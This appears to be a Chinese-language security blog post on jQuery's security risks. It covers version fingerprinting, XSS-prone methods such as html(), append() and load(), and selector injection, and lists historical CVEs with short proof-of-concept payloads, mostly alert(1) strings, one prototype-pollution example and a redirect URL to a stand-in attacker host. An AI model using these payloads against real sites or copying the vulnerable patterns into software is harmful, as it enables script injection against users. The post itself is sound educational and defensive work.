前言
JQuery在如今基本上算是前端默认会加载使用的JS库,甚至很多时候不用也会加载上;介于其使用范围较广,近期笔者对其进行了简单分析,本文会从JQuery基础、风险点、历史Nday进行阐述其安全风险,抛砖引玉,感兴趣的朋友可以继续深挖,一旦发现出0day基本可以名垂青史
jQuery介绍
识别方式
要确定应用程序是否正在使用 jQuery,您可以搜索引入脚本的以下格式。
从 jQuery 中提取:
< src="https://code.jquery.com/jquery-3.7.1.min.js"> |
百度CDN:
< src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"> |
本地来源:
< src="/assets/js/jquery/3.7.1/jquery.min.js"> |
这些脚本通常不会被开发人员更改,开发人员基本只会默认引用到自己的前端代码中;快速方式就是F12查看前端源码,搜索“jquery”字符即可
如果您找不到任何对 jQuery 的脚本引用,或者无法确定正在使用的版本,则可以在浏览器开发人员工具中的控制台中使用以下代码来返回当前版本(如果 jQuery 可用)。
jQuery().jquery |
通常,第三方 JavaScript 库会加载到全局可访问的位置,以便应用程序上的任何页面都可以使用其功能,但只能将库引用添加到单个页面。如果您运行 jQuery().jquery 并且它没有返回值,则意味着 jQuery 库在当前页面上不可用,但并不意味着该网站不使用 jQuery。该库可能仅在需要其功能的特定页面上可访问。
常见语法
jQuery 主要用于与 HTML 元素和用户输入进行交互。下面的每个示例都将包含 jQuery 代码引用的 HTML 和 JavaScript 的结果。
获取元素的值
HTML:
<input id="myInput" value="sectest"/>
jQuery:
$('#myInput').val() |
结果:
sectest
获取元素的属性值
HTML:
<div id="myDiv" name="testName"></div>
jQuery:
$('#myDiv').attr('name') |
结果:
testName |
单击元素时执行脚本
HTML:
<button id="flag">Show flag</button>
jQuery:
$('#flag').on("click", function(){ alert("Hello") }) |
结果:单击问候按钮时,会出现一个警告框,其中包含文字“Hello”
发出 GET 请求
jQuery:
$.get('http://localhost:8000/file.txt', function(data){ alert(data.split("n")[0]) }); |
结果:这将向定义的 URL 发出 GET 请求,并在警告框中显示文件的第一行。
发出 POST 请求
jQuery:
$.post('http://localhost:8000/data', {debug: 'true'}, function(result){ alert(result) }); |
结果:这将向定义的 URL 发出带有 POSTbody中有debug=true 的 POST 请求 ,并在警告框中显示 HTML 响应。
风险漏洞
原生 JavaScript 中可能导致 XSS 的常见函数(如 innerHTML )在 jQuery 中也可用,与原生 JavaScript 一样,这些函数同样依赖于传递给它们的用户输入才能被利用。
内容操作函数
正如 jQuery 文档所述:
根据设计,任何接受 HTML 字符串的 jQuery 构造函数或方法(jQuery()、.append()、.after() 等)都有可能执行代码。
以下是需要注意的允许 JavaScript 代码执行的函数的简短列表。
append() - 在选定元素的末尾插入内容
prepend() - 在选定元素的开头插入内容
after() - 在选定元素后插入内容
before() - 在选定元素之前插入内容
html() - 设置或返回所选元素的内容(包括 HTML 标记)
举例来说,如果输入值包含 XSS 负载,则以下代码可被利用。
HTML:
|
jQuery:
username = $('#name').val(); |
结果:用户名值中的XSS被添加到页面HTML中。
Load() 函数
load() - 从服务器加载数据并将返回的数据放入所选元素中
一个易受攻击的代码示例可能是:
网址:
http://127.0.0.1:8000?redirect=https://attacker.com/xss.html |
jQuery:
redirect = window.location.search |
jQuery 选择器
在 jQuery 中执行 XSS 的另一种方法是通过选择器引擎。其主要目的是查找页面 HTML 中的元素。
例如,要获取 ID 为“myInput”的输入的值,请执行以下操作:
$('#myInput').val(); |
但是如果传递了选择器,XSS 有效负载将会将其作为查找过程的一部分执行。
$('<img src=x onerror=alert(1)>')
在较新版本的 jQuery(>3.5.0)中,选择器中的 XSS 负载通常仅在用户控制输入的开头时才执行。以井号 (#) 开头的输入(例如位置哈希)或使用诸如 contains () 函数之类的对象查找,过去允许执行代码,但此后已修补为不再允许执行代码。
旧版本 jQuery 选择器中的 XSS 示例如下:
$('h1:contains("<img src=x onerror=alert(1)>")')
为了更详细的阐述,这里是给出一个完整 HTML 页面的示例。
<html>
<body>
<script src="https://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1.8.2/jquery.min.js"></script>
<h1 id="head1">Heading 1</h1>
<h1 id="head2" style="margin-top: 800px">Heading 2</h1>
<script type="text/javascript">
$(window).on("hashchange", function () {
var data = $(
"h1:contains(" + decodeURIComponent(location.hash.slice(1)) + ")",
);
if (data) {
data.get(0).scrollIntoView();
}
});
</script>
</body>
</html>
在此示例中,URL 如下:
http://127.0.0.1:8000# |
将使用 jQuery 选择器执行 JavaScript 并显示一个警告框。
已知 CVE
在本文发布时,目前最新的版本是 3.7.1,其中1.x 和 2.x 版本不再受支持;目前,任何高于 3.5.0 的版本目前都不包含已知漏洞(CVE)。
任何低于 2.x 的版本很可能至少有一个已知的 XSS 漏洞。
多年来,jQuery 库中已发现多个 CVE,其中大多数针对选择器。但是部分CVE 是现代大多浏览器中不再支持的攻击方式。因此,这里列出了 jQuery 的所有主要 CVE。每个 CVE 都包含一个简短的描述,以及一个有效的概念证明和受影响的版本。
CVE-2011-4969(版本<1.6.3)
可以在 jQuery 选择器中执行代码,即使查询以 # 开头,就像location.hash 一样
jQuery:
hash = window.location.hash; |
这里的问题是,现代浏览器将 location.hash 返回为 URL 编码字符串。要实现这一点,应用程序代码必须先解码 URL。
jQuery:
hash = decodeURIComponent(window.location.hash) |
网址:
http://127.0.0.1:8000#<img src=1 onerror=alert(1)>
结果:警告框显示文本“1”
CVE-2012-6708 和 CVE-2017-16011(版本 < 1.9.1)
只要查询不以 # 开头,就可以在 jQuery 选择器中执行代码
jQuery:
$('h1:contains('+decodeURIComponent(location.hash.slice(1))+')'); |
网址:
http://127.0.0.1:8000#<img src=1 onerror=alert(1)>
结果:警告框显示文本“1”
CVE-2015-9251(版本 < 1.12.0、1.12.3-2.2.4)
外部文件可以加载 JavaScript。
jQuery:
$.get('https://127.0.0.1:8000/xss.js') |
结果:托管在所提供 URL 上的 JavaScript 将在当前页面上执行。
CVE-2016-10707(版本 >= 3.0.0-rc1< 3.0.0)
DoS 存在于属性查找中。
jQuery的:
$('body').attr('requiRed') |
结果:根据浏览器的不同,会抛出 InternalError 或 RangeError 。
CVE-2019-5428 和 CVE-2019-11358(版本 < 3.4.0)
如果用户可以控制 jQuery.extend 方法中使用的附加属性(在此示例中为 queryParams),他们可以通过使用 __proto__ 向所有对象添加具有相同值的属性来覆盖现有属性(在此示例中为 link)。
jQuery:
defaultConfig = { "link": "<a href='#'>Back</a>" };
queryParams = {
// Modify an existing property (link) that will then exist on all objects.
"__proto__": {
"link": "<img src/onerror=alert(1)>" }
}
config = jQuery.extend(true, defaultConfig, queryParams);
$('body').html(config.link);
结果:出现警告框,其中显示文字“1”
CVE-2020-7656(版本 < 1.9.1)
load 方法无法识别和删除包含空格字符的脚本 HTML 标签,即:
|
jQuery:
$('body').load('XSS.html'); |
结果:如果文件 XSS.html 包含:
<script>alert(1);</script> |
出现一个带有文本“1”的警告框。请注意结束脚本标记中的多余空格。
CVE-2020-11022 和 CVE-2020-11023(版本 >= 1.5.1 < 3.5.0)
传递来自不受信任来源的 HTML,即使查询的开始不受控制,也可能执行 XSS。
jQuery:
$('body').html('<option><style></option></select><img src=1 onerror=alert(1)></style>');
结果:出现带有文本“1”的警告框
总结
总之,为了利用 jQuery 来运行JavaScript 代码,必须控制传递到已识别的易受攻击函数之一的参数。如果您的网站正在运行 jQuery,但不允许用户输入上述任何已识别函数,那么攻击者不太可能执行代码;
原文始发于微信公众号(暴暴的皮卡丘):JQuery安全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论